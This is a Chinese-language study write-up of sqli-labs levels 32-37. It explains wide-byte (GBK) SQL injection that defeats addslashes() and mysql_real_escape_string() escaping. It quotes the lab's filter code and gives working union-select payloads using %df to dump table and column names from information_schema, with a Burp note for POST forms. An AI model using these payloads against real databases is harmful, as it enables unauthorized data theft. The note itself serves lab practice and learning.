虛擬環境建立
less-32 Bypass addslashes()
less-33 Bypass addslashes()
less-34 Bypass Add SLASHES
less-35 addslashes()
less-36 Bypass MySQL Real Escape String
less-37 MySQL_real_escape_string
寬位元組注入的原理
mysql使用的是gbk編碼的時候,預設認為兩個字元為一個漢字。當網站過濾的機制是採用轉義\的時候,我們可以在網站新增的轉義符號前面構造一個%xx使得變成%xx%5c而被mysql認為是一個漢字,從而繞過轉義。
寬位元組注入最長用的時%df,或者使用ascii碼大於128的也可以 ,一般用129.
看到這裡的時候其實我並沒有理解這段意思,直接看做題過程理解寬位元組注入的原理。
如何轉成url編碼
將十進位制數轉成十六進位制,去最後兩位前面加上百分號
例如129;129(十進位制) -> 0x81 (十六進位制) %81(url編碼)
less-32 Bypass addslashes()
過程:
- 原始碼:
function check_addslashes($string) { $string = preg_replace('/'. preg_quote('\\') .'/', "\\\\\\", $string); //escape any backslash $string = preg_replace('/\'/i', '\\\'', $string); //escape single quote with a backslash $string = preg_replace('/\"/', "\\\"", $string); //escape double quote with a backslash return $string; }
輸入1'
發現錯誤為1\'
, 原始碼中1\\\'
中的第1和3個\錶轉義,構造的閉合'就會被當成字串處理,而不是當作id的包裹,所以在這裡沒有作用
思路:
需要在構造一個反斜槓來轉義後一個反斜槓達到過濾的效果。
- ?id=-1%aa' union select 1,2,3 --+
%aa -> '/'
-
-
?id=-1%aa' union select 1,2,3 --+
-
?id=-1%df' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),(select group_concat(column_name) from information_schema.columns where table_schema=database()) --+
-
從網上看到還有一種解法
%5c代表\ ,所以我們只要用字母組合使其形成寬位元組,從而使\(斜槓)失效,例如我們這裡用%ee和%5c進行組合,然後構造payload
less-33 Bypass addslashes()
有一些過濾但是
%df,%ee,%5c都可以使用
less-34 Bypass Add SLASHES (POST)
看題目是個POST傳參,那就先傳值進去,然後繼續使用%df寬位元組注入
正常來說回顯應該跟上一關一樣,但是34關並沒有成功。 burp抓包看看
- a%df'
uname處多了個%25 說明又經過了一次轉碼,所以在burp中直接修改引數可直接執行
之後過程跟上一關一樣
less-35 addslashes()
參考Less-1
less-36 Bypass MySQL Real Escape String
單引號閉合
看了下原始碼只是函式變成mysql_real_escape_string() 與less-32相似
less-37 MySQL_real_escape_string
同Less-34